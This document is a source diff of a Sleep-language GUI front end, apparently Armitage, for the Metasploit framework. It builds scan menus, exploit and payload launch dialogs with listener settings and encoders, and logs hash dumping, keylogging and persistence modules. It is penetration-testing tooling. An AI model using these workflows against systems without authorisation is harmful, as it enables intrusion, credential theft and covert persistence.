|
||||||
|
sub selected {
|
||||||
|
return [$2 getSelectedValueFromColumn: $1, $3];
|
||||||
|
}
|
||||||
|
|
||||||
|
# ($table, $model) = setupTable("lead", @rows)
|
||||||
|
sub setupTable {
|
||||||
|
local('$table $model $sorter $row');
|
||||||
|
$model = [new GenericTableModel: $2, $1, 8];
|
||||||
|
foreach $row ($3) {
|
||||||
|
[$model _addEntry: $row];
|
||||||
|
}
|
||||||
|
|
||||||
|
$table = [new ATable: $model];
|
||||||
|
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
|
||||||
|
$sorter = [new TableRowSorter: $model];
|
||||||
|
[$table setRowSorter: $sorter];
|
||||||
|
|
||||||
|
return @($table, $model);
|
||||||
|
}
|
||||||
|
|
||||||
|
# creates a list dialog,
|
||||||
|
# $1 = title, $2 = button text, $3 = columns, $4 = rows, $5 = callback
|
||||||
|
sub quickListDialog {
|
||||||
|
local('$dialog $panel $table $row $model $button $sorter $after $a');
|
||||||
|
$dialog = dialog($1, $width, $height);
|
||||||
|
$panel = [new JPanel];
|
||||||
|
[$panel setLayout: [new BorderLayout]];
|
||||||
|
|
||||||
|
($table, $model) = setupTable($3[0], sublist($3, 1), $4);
|
||||||
|
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||||
|
|
||||||
|
$button = [new JButton: $2];
|
||||||
|
[$button addActionListener: lambda({
|
||||||
|
[$callback : [$model getSelectedValueFromColumn: $table, $lead]];
|
||||||
|
[$dialog setVisible: 0];
|
||||||
|
}, \$dialog, $callback => $5, \$model, \$table, $lead => $3[0])];
|
||||||
|
|
||||||
|
local('$south');
|
||||||
|
$south = [new JPanel];
|
||||||
|
[$south setLayout: [new BoxLayout: $south, [BoxLayout Y_AXIS]]];
|
||||||
|
|
||||||
|
if ($after !is $null) {
|
||||||
|
foreach $a ($after) {
|
||||||
|
[$south add: $a];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
[$south add: center($button)];
|
||||||
|
|
||||||
|
[$panel add: $south, [BorderLayout SOUTH]];
|
||||||
|
[$dialog add: $panel, [BorderLayout CENTER]];
|
||||||
|
[$dialog show];
|
||||||
|
[$dialog setVisible: 1];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub tableRenderer {
|
||||||
|
return [ATable getDefaultTableRenderer: $1, $2];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub gotoFile {
|
||||||
|
return lambda({
|
||||||
|
local('$exception');
|
||||||
|
try {
|
||||||
|
[[Desktop getDesktop] open: $f];
|
||||||
|
}
|
||||||
|
catch $exception {
|
||||||
|
showError("Could not open $f $+ \n $+ $exception");
|
||||||
|
}
|
||||||
|
}, $f => $1);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub isShift {
|
||||||
|
return iff(([$1 getModifiers] & [ActionEvent SHIFT_MASK]) == [ActionEvent SHIFT_MASK], 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
inline safetyCheck {
|
||||||
|
local('$__time');
|
||||||
|
if ($__time == 0) {
|
||||||
|
$__time = ticks();
|
||||||
|
}
|
||||||
|
if ((ticks() - $__time) > 250) {
|
||||||
|
yield 50;
|
||||||
|
$__time = ticks();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub addMouseListener {
|
||||||
|
[$1 addMouseListener: [new SafeMouseListener: $2]];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub pad {
|
||||||
|
local('$panel');
|
||||||
|
$panel = [new JPanel];
|
||||||
|
[$panel setLayout: [new BorderLayout]];
|
||||||
|
[$panel add: $1, [BorderLayout CENTER]];
|
||||||
|
[$panel setBorder: [BorderFactory createEmptyBorder: $2, $3, $4, $5]];
|
||||||
|
return $panel;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub setClipboard {
|
||||||
|
local('$sel $cb');
|
||||||
|
$sel = [new StringSelection: $1];
|
||||||
|
$cb = [[Toolkit getDefaultToolkit] getSystemSelection];
|
||||||
|
if ($cb !is $null) {
|
||||||
|
[$cb setContents: $sel, $null];
|
||||||
|
}
|
||||||
|
|
||||||
|
$cb = [[Toolkit getDefaultToolkit] getSystemClipboard];
|
||||||
|
if ($cb !is $null) {
|
||||||
|
[$cb setContents: $sel, $null];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub setupMenu {
|
||||||
|
# do nothing for now... this is for something coming later.
|
||||||
|
}
|
||||||
|
|
||||||
|
sub installMenu {
|
||||||
|
# do nothing for now... this is for something coming later.
|
||||||
|
}
|
|
@ -0,0 +1,104 @@
|
||||||
|
import msf.*;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
sub addHostDialog {
|
||||||
|
local('$dialog $label $text $finish $button');
|
||||||
|
$dialog = [new JDialog: $frame, "Add Hosts", 0];
|
||||||
|
[$dialog setSize: 320, 240];
|
||||||
|
[$dialog setLayout: [new BorderLayout]];
|
||||||
|
[$dialog setLocationRelativeTo: $frame];
|
||||||
|
|
||||||
|
$label = [new JLabel: "Enter one host/line:"];
|
||||||
|
$text = [new JTextArea];
|
||||||
|
|
||||||
|
$finish = [new JPanel];
|
||||||
|
[$finish setLayout: [new FlowLayout: [FlowLayout CENTER]]];
|
||||||
|
|
||||||
|
$button = [new JButton: "Add"];
|
||||||
|
[$finish add: $button];
|
||||||
|
|
||||||
|
[$button addActionListener: lambda({
|
||||||
|
local('@hosts');
|
||||||
|
@hosts = split("[\n\s]", [$text getText]);
|
||||||
|
cmd_safe("hosts -a " . join(" ", @hosts), lambda({
|
||||||
|
showError("Added $x host" . iff($x != 1, "s"));
|
||||||
|
elog("added $x host" . iff($x != 1, "s"));
|
||||||
|
}, $x => size(@hosts)));
|
||||||
|
[$dialog setVisible: 0];
|
||||||
|
}, \$text, \$dialog)];
|
||||||
|
|
||||||
|
[$dialog add: $label, [BorderLayout NORTH]];
|
||||||
|
[$dialog add: [new JScrollPane: $text], [BorderLayout CENTER]];
|
||||||
|
[$dialog add: $finish, [BorderLayout SOUTH]];
|
||||||
|
|
||||||
|
[$dialog setVisible: 1];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub host_items {
|
||||||
|
local('$i $j $k');
|
||||||
|
item($1, "Import Hosts", 'I', &importHosts);
|
||||||
|
item($1, "Add Hosts...", 'A', &addHostDialog);
|
||||||
|
setupMenu($1, "hosts_top", @());
|
||||||
|
|
||||||
|
separator($1);
|
||||||
|
|
||||||
|
$j = menu($1, "Nmap Scan", 'S');
|
||||||
|
setupMenu($j, "hosts_nmap", @());
|
||||||
|
item($j, "Intense Scan", $null, createNmapFunction("--min-hostgroup 96 -T4 -A -v -n"));
|
||||||
|
item($j, "Intense Scan + UDP", $null, createNmapFunction("--min-hostgroup 96 -sS -n -sU -T4 -A -v"));
|
||||||
|
item($j, "Intense Scan, all TCP ports", $null, createNmapFunction("--min-hostgroup 96 -p 1-65535 -n -T4 -A -v"));
|
||||||
|
item($j, "Intense Scan, no ping", $null, createNmapFunction("--min-hostgroup 96 -T4 -n -A -v -Pn"));
|
||||||
|
item($j, "Ping Scan", $null, createNmapFunction("--min-hostgroup 96 -T4 -n -sn"));
|
||||||
|
item($j, "Quick Scan", $null, createNmapFunction("--min-hostgroup 96 -T4 -n -F"));
|
||||||
|
item($j, "Quick Scan (OS detect)", $null, createNmapFunction("--min-hostgroup 96 -sV -n -T4 -O -F --version-light"));
|
||||||
|
item($j, "Comprehensive", $null, createNmapFunction("--min-hostgroup 96 -sS -n -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53"));
|
||||||
|
|
||||||
|
item($1, "MSF Scans...", "M", {
|
||||||
|
local('$address');
|
||||||
|
$address = ask("Enter scan range (e.g., 192.168.1.0/24):", join(", ", [$targets getSelectedHosts]));
|
||||||
|
if ($address eq "") { return; }
|
||||||
|
launch_msf_scans($address);
|
||||||
|
});
|
||||||
|
|
||||||
|
item($1, "DNS Enumerate", 'D', {
|
||||||
|
if (size([$targets getSelectedHosts]) > 0) {
|
||||||
|
launch_dialog("Enumerate DNS", "auxiliary", "gather/enum_dns", 1, $null, %(NS => [$targets getSelectedHosts][0]));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
launch_dialog("Enumerate DNS", "auxiliary", "gather/enum_dns", 1, $null, %());
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
setupMenu($1, "hosts_middle", @());
|
||||||
|
separator($1);
|
||||||
|
setupMenu($1, "hosts_bottom", @());
|
||||||
|
item($1, "Clear Database", 'C', &clearDatabase);
|
||||||
|
}
|
||||||
|
|
||||||
|
# oh yay, Metasploit now normalizes OS info (so I don't have to). Except the new constants
|
||||||
|
# they use are different than the ones they have used... *sigh* time to future proof my code.
|
||||||
|
sub normalize {
|
||||||
|
if ("*Windows*" iswm $1) {
|
||||||
|
return "Windows";
|
||||||
|
}
|
||||||
|
else if ("*Mac*OS*X*" iswm $1) {
|
||||||
|
return "Mac OS X";
|
||||||
|
}
|
||||||
|
else if ("*Solaris*" iswm $1) {
|
||||||
|
return "Solaris";
|
||||||
|
}
|
||||||
|
else if ("*Cisco*" iswm $1) {
|
||||||
|
return "IOS";
|
||||||
|
}
|
||||||
|
else if ("*Printer*" iswm $1) {
|
||||||
|
return "Printer";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return $1;
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,649 @@
|
||||||
|
#
|
||||||
|
# code to manage some jobs ;)
|
||||||
|
#
|
||||||
|
|
||||||
|
import msf.*;
|
||||||
|
import armitage.*;
|
||||||
|
import console.*;
|
||||||
|
import table.*;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.swing.table.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
import ui.*;
|
||||||
|
|
||||||
|
sub manage_proxy_server {
|
||||||
|
manage_job("Auxiliary: server/socks4a",
|
||||||
|
# start server function
|
||||||
|
{
|
||||||
|
launch_dialog("SOCKS Proxy", "auxiliary", "server/socks4a", $null);
|
||||||
|
},
|
||||||
|
# description of job (for job kill function)
|
||||||
|
{
|
||||||
|
local('$host $port');
|
||||||
|
($host, $port) = values($2["datastore"], @("SRVHOST", "SRVPORT"));
|
||||||
|
return "SOCKS proxy is running on $host $+ : $+ $port $+ .\nWould you like to stop it?";
|
||||||
|
}
|
||||||
|
);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
sub report_url {
|
||||||
|
find_job($name, {
|
||||||
|
if ($1 == -1) {
|
||||||
|
showError("Server not found");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
local('$job $host $port $uripath');
|
||||||
|
$job = call($client, "job.info", $1);
|
||||||
|
|
||||||
|
($host, $port) = values($job["info"]["datastore"], @("SRVHOST", "SRVPORT"));
|
||||||
|
$uripath = $job["info"]["uripath"];
|
||||||
|
|
||||||
|
local('$dialog $text $ok');
|
||||||
|
$dialog = dialog("Output", 320, 240);
|
||||||
|
$text = [new JTextArea];
|
||||||
|
[$text setText: "http:// $+ $host $+ : $+ $port $+ $uripath"];
|
||||||
|
|
||||||
|
$button = [new JButton: "Ok"];
|
||||||
|
[$button addActionListener: lambda({ [$dialog setVisible: 0]; }, \$dialog)];
|
||||||
|
|
||||||
|
[$dialog add: [new JScrollPane: $text], [BorderLayout CENTER]];
|
||||||
|
[$dialog add: center($button), [BorderLayout SOUTH]];
|
||||||
|
|
||||||
|
[$dialog setVisible: 1];
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
sub find_job {
|
||||||
|
#
|
||||||
|
# convoluted? yes, but jobs.info kept locking up on some of my requests...
|
||||||
|
#
|
||||||
|
cmd_safe("jobs", lambda({
|
||||||
|
local('$temp $jid $jname $confirm');
|
||||||
|
|
||||||
|
foreach $temp (split("\n", $3)) {
|
||||||
|
if ([$temp trim] ismatch '.*?(\d+)\s+(.*?)') {
|
||||||
|
($jid, $jname) = matched();
|
||||||
|
|
||||||
|
if ($jname eq $name) {
|
||||||
|
[$function: $jid];
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
[$function: -1];
|
||||||
|
}, $name => $1, $function => $2));
|
||||||
|
}
|
||||||
|
|
||||||
|
# manage_job(job name, { start job function }, { job dialog info })
|
||||||
|
sub manage_job {
|
||||||
|
local('$name $startf $stopf');
|
||||||
|
($name, $startf, $stopf) = @_;
|
||||||
|
|
||||||
|
find_job($name, lambda({
|
||||||
|
if ($1 == -1) {
|
||||||
|
[$startf];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
local('$job $confirm $foo');
|
||||||
|
$job = call($client, "job.info", $1);
|
||||||
|
|
||||||
|
$foo = lambda({
|
||||||
|
local('$confirm');
|
||||||
|
$confirm = askYesNo([$stopf : $jid, $job], "Stop Job");
|
||||||
|
if ($confirm eq "0") {
|
||||||
|
cmd_safe("jobs -k $jid", {
|
||||||
|
if ($3 ne "") { showError($3); }
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}, \$stopf, \$job, $jid => $1);
|
||||||
|
|
||||||
|
if ([SwingUtilities isEventDispatchThread]) {
|
||||||
|
[$foo];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
[SwingUtilities invokeLater: $foo];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}, \$startf, \$stopf));
|
||||||
|
}
|
||||||
|
|
||||||
|
sub generatePayload {
|
||||||
|
local('$file');
|
||||||
|
$file = saveFile2();
|
||||||
|
if ($file is $null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
thread(lambda({
|
||||||
|
local('$module $options $format $handle $data');
|
||||||
|
($module, $options, $format) = $args;
|
||||||
|
$options["Format"] = $format;
|
||||||
|
$data = call($client, "module.execute", "payload", $module, $options);
|
||||||
|
|
||||||
|
$handle = openf("> $+ $file");
|
||||||
|
writeb($handle, $data["payload"]);
|
||||||
|
closef($handle);
|
||||||
|
|
||||||
|
showError("Saved $file");
|
||||||
|
}, $args => @_, \$file));
|
||||||
|
}
|
||||||
|
|
||||||
|
# pass the module launch to another thread please.
|
||||||
|
sub launch_service {
|
||||||
|
if ($4 eq "payload" && $format ne "multi/handler") {
|
||||||
|
generatePayload($2, $3, $format);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
local('$listener');
|
||||||
|
thread(lambda({
|
||||||
|
local('$title $module $options $type');
|
||||||
|
($title, $module, $options, $type) = $args;
|
||||||
|
_launch_service($title, $module, $options, $type, \$format, \$listener);
|
||||||
|
}, $args => @_, \$format, \$listener));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub _launch_service {
|
||||||
|
local('$c $key $value');
|
||||||
|
|
||||||
|
if ('SESSION' in $3) {
|
||||||
|
$c = createDisplayTab($1, $host => sessionToHost($3['SESSION']), $file => "post");
|
||||||
|
}
|
||||||
|
else if ('RHOST' in $3) {
|
||||||
|
$c = createDisplayTab($1, $host => $3['RHOST'], $file => $4);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$c = createDisplayTab($1, $file => $4);
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($listener) {
|
||||||
|
[$c addSessionListener: $listener];
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($4 eq "payload" && $format eq "multi/handler") {
|
||||||
|
[$c addCommand: $null, "use exploit/multi/handler"];
|
||||||
|
[$c addCommand: $null, "set PAYLOAD ". substr($2, 8)];
|
||||||
|
[$c addCommand: $null, "set ExitOnSession false"];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
[$c addCommand: $null, "use $2"];
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach $key => $value ($3) {
|
||||||
|
[$c addCommand: $null, "set $key $value"];
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($4 eq "exploit" || ($4 eq "payload" && $format eq "multi/handler")) {
|
||||||
|
[$c addCommand: "x", "exploit -j"];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
[$c addCommand: "x", "run -j"];
|
||||||
|
}
|
||||||
|
|
||||||
|
[$c start];
|
||||||
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# pop up a dialog to start our attack with... fun fun fun
|
||||||
|
#
|
||||||
|
|
||||||
|
# launch_dialog("title", "type", "name", "visible", "hosts...", %options)
|
||||||
|
sub launch_dialog {
|
||||||
|
local('$info $options $6');
|
||||||
|
$info = call($mclient, "module.info", $2, $3);
|
||||||
|
$options = call($mclient, "module.options", $2, $3);
|
||||||
|
|
||||||
|
# give callers the ability to set any options before we pass things on.
|
||||||
|
if (-ishash $6) {
|
||||||
|
local('$key $value');
|
||||||
|
foreach $key => $value ($6) {
|
||||||
|
if ($key in $options) {
|
||||||
|
$options[$key]["default"] = $value;
|
||||||
|
$options[$key]["advanced"] = "0";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dispatchEvent(lambda({
|
||||||
|
invoke(lambda(&_launch_dialog, \$info, \$options), $args);
|
||||||
|
}, \$info, \$options, $args => @_));
|
||||||
|
}
|
||||||
|
|
||||||
|
# $1 = model, $2 = exploit, $3 = selected target
|
||||||
|
sub updatePayloads {
|
||||||
|
thread(lambda({
|
||||||
|
local('$best');
|
||||||
|
$best = best_client_payload($exploit, $target);
|
||||||
|
[$model setValueForKey: "PAYLOAD", "Value", $best];
|
||||||
|
[$model setValueForKey: "LHOST", "Value", $MY_ADDRESS];
|
||||||
|
[$model setValueForKey: "LPORT", "Value", randomPort()];
|
||||||
|
[$model setValueForKey: "DisablePayloadHandler", "Value", "false"];
|
||||||
|
[$model setValueForKey: "ExitOnSession", "Value", "false"];
|
||||||
|
[$model fireListeners];
|
||||||
|
}, $model => $1, $exploit => $2, $target => $3));
|
||||||
|
}
|
||||||
|
|
||||||
|
sub _launch_dialog {
|
||||||
|
local('$dialog $north $center $center $label $textarea $scroll $model $table $default $combo $key $sorter $value $col $button $6 $5');
|
||||||
|
|
||||||
|
$dialog = dialog($1, 520, 360);
|
||||||
|
|
||||||
|
$north = [new JPanel];
|
||||||
|
[$north setLayout: [new BorderLayout]];
|
||||||
|
|
||||||
|
$label = [new JLabel: $info["name"]];
|
||||||
|
[$label setBorder: [BorderFactory createEmptyBorder: 5, 5, 5, 5]];
|
||||||
|
|
||||||
|
[$north add: $label, [BorderLayout NORTH]];
|
||||||
|
|
||||||
|
$textarea = [new JTextArea: [join(" ", split('[\\n\\s]+', $info["description"])) trim]];
|
||||||
|
[$textarea setEditable: 0];
|
||||||
|
[$textarea setOpaque: 1];
|
||||||
|
[$textarea setLineWrap: 1];
|
||||||
|
[$textarea setWrapStyleWord: 1];
|
||||||
|
[$textarea setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
|
||||||
|
$scroll = [new JScrollPane: $textarea];
|
||||||
|
[$scroll setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
|
||||||
|
|
||||||
|
[$north add: $scroll, [BorderLayout CENTER]];
|
||||||
|
|
||||||
|
$model = [new GenericTableModel: @("Option", "Value"), "Option", 128];
|
||||||
|
[$model setCellEditable: 1];
|
||||||
|
foreach $key => $value ($options) {
|
||||||
|
if ($key eq "THREADS") {
|
||||||
|
$default = "24";
|
||||||
|
}
|
||||||
|
else if ($key eq "LHOST") {
|
||||||
|
$default = $MY_ADDRESS;
|
||||||
|
}
|
||||||
|
else if ($key eq "RHOSTS") {
|
||||||
|
$default = join(", ", $5);
|
||||||
|
}
|
||||||
|
else if ($key eq "SESSION" && size($5) > 0) {
|
||||||
|
local('$host @sessions');
|
||||||
|
|
||||||
|
foreach $host ($5) {
|
||||||
|
if ($host in %hosts && 'sessions' in %hosts[$host] && size(%hosts[$host]['sessions']) > 0) {
|
||||||
|
push(@sessions, keys(%hosts[$host]['sessions'])[0]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$default = join(", ", @sessions);
|
||||||
|
}
|
||||||
|
else if ($key eq "RHOST" && size($5) > 0) {
|
||||||
|
$default = $5[0];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$default = $value["default"];
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($2 ne "exploit" || "$key" !in @("DisablePayloadHandler", "PAYLOAD", "LHOST", "LPORT", "ExitOnSession")) {
|
||||||
|
[$model _addEntry: %(Option => $key, Value => $default, Tooltip => $value["desc"], Hide => iff($value["advanced"] eq '0' && $value["evasion"] eq '0', '0', '1'))];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# give user the option to configure the client-side payload... of course we'll configure it for them
|
||||||
|
# by default :P~
|
||||||
|
#
|
||||||
|
if ($2 eq "exploit") {
|
||||||
|
[$model _addEntry: %(Option => "PAYLOAD", Value => "", Tooltip => "The payload to execute on successful exploitation", Hide => "0")];
|
||||||
|
[$model _addEntry: %(Option => "DisablePayloadHandler", Value => "1", Tooltip => "Disable the handler code for the selected payload", Hide => "0")];
|
||||||
|
[$model _addEntry: %(Option => "ExitOnSession", Value => "", Tooltip => "Close this handler after a session")];
|
||||||
|
[$model _addEntry: %(Option => "LHOST", Value => "$MY_ADDRESS", Tooltip => "The listen address", Hide => "0")];
|
||||||
|
[$model _addEntry: %(Option => "LPORT", Value => "", Tooltip => "The listen port", Hide => "0")];
|
||||||
|
}
|
||||||
|
else if ($2 eq "payload" && "*windows*" iswm $3) {
|
||||||
|
[$model _addEntry: %(Option => "Template", Value => "", Tooltip => "The executable template to use", Hide => "0")];
|
||||||
|
[$model _addEntry: %(Option => "KeepTemplateWorking", Value => "", Tooltip => "Keep the executable template functional", Hide => "0")];
|
||||||
|
[$model _addEntry: %(Option => "Iterations", Value => "3", Tooltip => "The number of encoding iterations", Hide => "0")];
|
||||||
|
[$model _addEntry: %(Option => "Encoder", Value => "x86/shikata_ga_nai", Tooltip => "The name of the encoder module to use", Hide => "0")];
|
||||||
|
}
|
||||||
|
|
||||||
|
$table = [new ATable: $model];
|
||||||
|
$sorter = [new TableRowSorter: $model];
|
||||||
|
[$sorter toggleSortOrder: 0];
|
||||||
|
[$table setRowSorter: $sorter];
|
||||||
|
|
||||||
|
local('%actions');
|
||||||
|
%actions["PAYLOAD"] = lambda(&payloadHelper, $exploit => $3, \$model);
|
||||||
|
|
||||||
|
addFileListener($table, $model, %actions);
|
||||||
|
|
||||||
|
local('$TABLE_RENDERER');
|
||||||
|
$TABLE_RENDERER = tableRenderer($table, $model);
|
||||||
|
|
||||||
|
foreach $col (@("Option", "Value")) {
|
||||||
|
[[$table getColumn: $col] setCellRenderer: $TABLE_RENDERER];
|
||||||
|
}
|
||||||
|
|
||||||
|
$center = [new JScrollPane: $table];
|
||||||
|
$combo = select(sorta(split(',', "raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vba-exe,vbs,loop-vbs,asp,war,multi/handler")), "multi/handler");
|
||||||
|
$button = [new JButton: "Launch"];
|
||||||
|
|
||||||
|
# setup some default options on a output type basis.
|
||||||
|
[$combo addActionListener: lambda({
|
||||||
|
local('$sel');
|
||||||
|
$sel = [$combo getSelectedItem];
|
||||||
|
if ($sel eq "vba") {
|
||||||
|
[$model setValueForKey: "Encoder", "Value", "generic/none"];
|
||||||
|
[$model setValueForKey: "EXITFUNC", "Value", "thread"];
|
||||||
|
[$model fireListeners];
|
||||||
|
}
|
||||||
|
}, \$model, \$combo)];
|
||||||
|
|
||||||
|
local('$combobox');
|
||||||
|
if ('targets' in $info) {
|
||||||
|
$combobox = targetsCombobox($info);
|
||||||
|
[$combobox addActionListener: lambda({
|
||||||
|
updatePayloads($model, $exploit, [$combobox getSelectedItem]);
|
||||||
|
}, \$model, $exploit => $3, \$combobox)];
|
||||||
|
}
|
||||||
|
|
||||||
|
[$button addActionListener: lambda({
|
||||||
|
local('$options $host $x $best');
|
||||||
|
syncTable($table);
|
||||||
|
|
||||||
|
$options = %();
|
||||||
|
|
||||||
|
# assume we have an exploit... set the appropriate target please...
|
||||||
|
if ($combobox !is $null) {
|
||||||
|
$options["TARGET"] = split(' \=\> ', [$combobox getSelectedItem])[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
for ($x = 0; $x < [$model getRowCount]; $x++) {
|
||||||
|
if ([$model getValueAt: $x, 1] ne "") {
|
||||||
|
$options[ [$model getValueAt: $x, 0] ] = [$model getValueAt: $x, 1];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!isShift($1)) {
|
||||||
|
[$dialog setVisible: 0];
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($visible) {
|
||||||
|
if ('SESSION' in $options) {
|
||||||
|
local('@sessions $session $console');
|
||||||
|
@sessions = split(',\s+', $options['SESSION']);
|
||||||
|
foreach $session (@sessions) {
|
||||||
|
$options['SESSION'] = $session;
|
||||||
|
launch_service($title, "$type $+ / $+ $command", copy($options), $type, $format => [$combo getSelectedItem]);
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($command eq "windows/gather/smart_hashdump" || $command eq "windows/gather/hashdump") {
|
||||||
|
foreach $session (@sessions) {
|
||||||
|
$session = sessionToHost($session);
|
||||||
|
}
|
||||||
|
elog("dumped hashes on " . join(", ", @sessions));
|
||||||
|
}
|
||||||
|
else if ($command eq "windows/gather/arp_scanner") {
|
||||||
|
elog("ARP scan: " . $options['RHOSTS'] . " via " . join(", ", @sessions));
|
||||||
|
}
|
||||||
|
else if ($command eq "multi/gather/ping_sweep") {
|
||||||
|
elog("ping sweep: " . $options['RHOSTS'] . " via " . join(", ", @sessions));
|
||||||
|
}
|
||||||
|
else if ($command eq "windows/capture/keylog_recorder") {
|
||||||
|
foreach $session (@sessions) {
|
||||||
|
$session = sessionToHost($session) . "/ $+ $session";
|
||||||
|
}
|
||||||
|
elog("started logging keystrokes on " . join(", ", @sessions));
|
||||||
|
}
|
||||||
|
else if ($command eq "windows/manage/persistence") {
|
||||||
|
foreach $session (@sessions) {
|
||||||
|
$session = sessionToHost($session);
|
||||||
|
}
|
||||||
|
elog("ran persistence on " . join(", ", @sessions));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if ("*/fileformat/*" iswm $command && 'FILENAME' in $options) {
|
||||||
|
local('$listener');
|
||||||
|
$listener = {
|
||||||
|
local('$temp $file $path');
|
||||||
|
foreach $temp (split("\n", $3)) {
|
||||||
|
if ($temp ismatch '... (.*?) stored at (.*)') {
|
||||||
|
($file, $path) = matched();
|
||||||
|
downloadFile($path, saveFile2());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
if ($client is $mclient) {
|
||||||
|
$listener = $null;
|
||||||
|
}
|
||||||
|
|
||||||
|
launch_service($title, "$type $+ / $+ $command", $options, $type, $format => [$combo getSelectedItem], \$listener);
|
||||||
|
}
|
||||||
|
else if ($type eq "exploit" && "*/browser/*" iswm $command) {
|
||||||
|
local('$listener');
|
||||||
|
$listener = lambda({
|
||||||
|
local('$temp $file $path');
|
||||||
|
foreach $temp (split("\n", $3)) {
|
||||||
|
if ($temp ismatch '...\s+Local IP:\s+(http.*)') {
|
||||||
|
elog("launched $command @ " . matched()[0]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}, \$command);
|
||||||
|
|
||||||
|
if ($client is $mclient) {
|
||||||
|
$listener = $null;
|
||||||
|
}
|
||||||
|
|
||||||
|
launch_service($title, "$type $+ / $+ $command", $options, $type, $format => [$combo getSelectedItem], \$listener);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
if ($type eq "auxiliary" && $command eq "gather/enum_dns") {
|
||||||
|
local('$domain $ns');
|
||||||
|
($domain, $ns) = values($options, @('DOMAIN', 'NS'));
|
||||||
|
if ($ns ne "") {
|
||||||
|
elog("launched DNS enum for $domain via $ns");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
elog("launched DNS enum for $domain");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
launch_service($title, "$type $+ / $+ $command", $options, $type, $format => [$combo getSelectedItem]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
thread(lambda({
|
||||||
|
local('$r');
|
||||||
|
$r = call($client, "module.execute", $type, $command, $options);
|
||||||
|
if ("result" in $r) {
|
||||||
|
elog("started $command");
|
||||||
|
showError($r["result"]);
|
||||||
|
}
|
||||||
|
else if ("job_id" in $r) {
|
||||||
|
elog("started $command");
|
||||||
|
showError("Started service");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
showError($r);
|
||||||
|
}
|
||||||
|
}, \$type, \$command, \$options));
|
||||||
|
}
|
||||||
|
}, \$dialog, \$model, $title => $1, $type => $2, $command => $3, $visible => $4, \$combo, \$table, \$combobox)];
|
||||||
|
|
||||||
|
local('$advanced');
|
||||||
|
$advanced = addAdvanced(\$model);
|
||||||
|
|
||||||
|
local('$panel');
|
||||||
|
$panel = [new JPanel];
|
||||||
|
[$panel setLayout: [new BoxLayout: $panel, [BoxLayout Y_AXIS]]];
|
||||||
|
|
||||||
|
if ($2 eq "payload") {
|
||||||
|
[$panel add: left([new JLabel: "Output: "], $combo)];
|
||||||
|
}
|
||||||
|
else if ($combobox !is $null) {
|
||||||
|
[$panel add: left([new JLabel: "Targets: "], $combobox)];
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($2 eq "exploit") {
|
||||||
|
updatePayloads($model, "$3", iff($combobox !is $null, [$combobox getSelectedItem]));
|
||||||
|
}
|
||||||
|
|
||||||
|
[$panel add: left($advanced)];
|
||||||
|
